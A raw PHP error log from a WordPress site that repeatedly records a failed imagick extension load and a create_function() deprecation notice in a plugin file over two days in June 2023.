[02-Jun-2023 20:11:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 20:11:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 20:12:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 20:12:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:12:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:12:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:51:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:51:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:51:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:51:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:52:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:52:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:52:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:52:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:54:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:54:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:54:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:54:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:55:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:55:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:55:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:55:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:57:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:57:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:57:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:57:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:59:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:59:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 21:59:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 21:59:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:00:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:00:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:01:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:01:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:02:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:02:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:03:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:03:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:04:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:04:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:05:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:05:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:08:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:08:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:11:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:11:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 22:13:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 22:13:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [02-Jun-2023 23:13:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [02-Jun-2023 23:13:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 00:14:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 00:14:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 01:15:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 01:15:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 02:15:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 02:15:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 03:16:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 03:16:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 03:53:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 03:53:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 03:55:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 03:55:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 03:59:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 03:59:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:00:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:00:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:01:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:01:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:02:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:02:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:02:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:02:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:03:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:03:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:04:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:04:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:05:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:05:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:06:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:06:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:06:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:06:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:06:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:06:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:07:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:07:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:08:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:08:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:08:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:08:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:08:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:08:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:09:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:09:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:10:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' 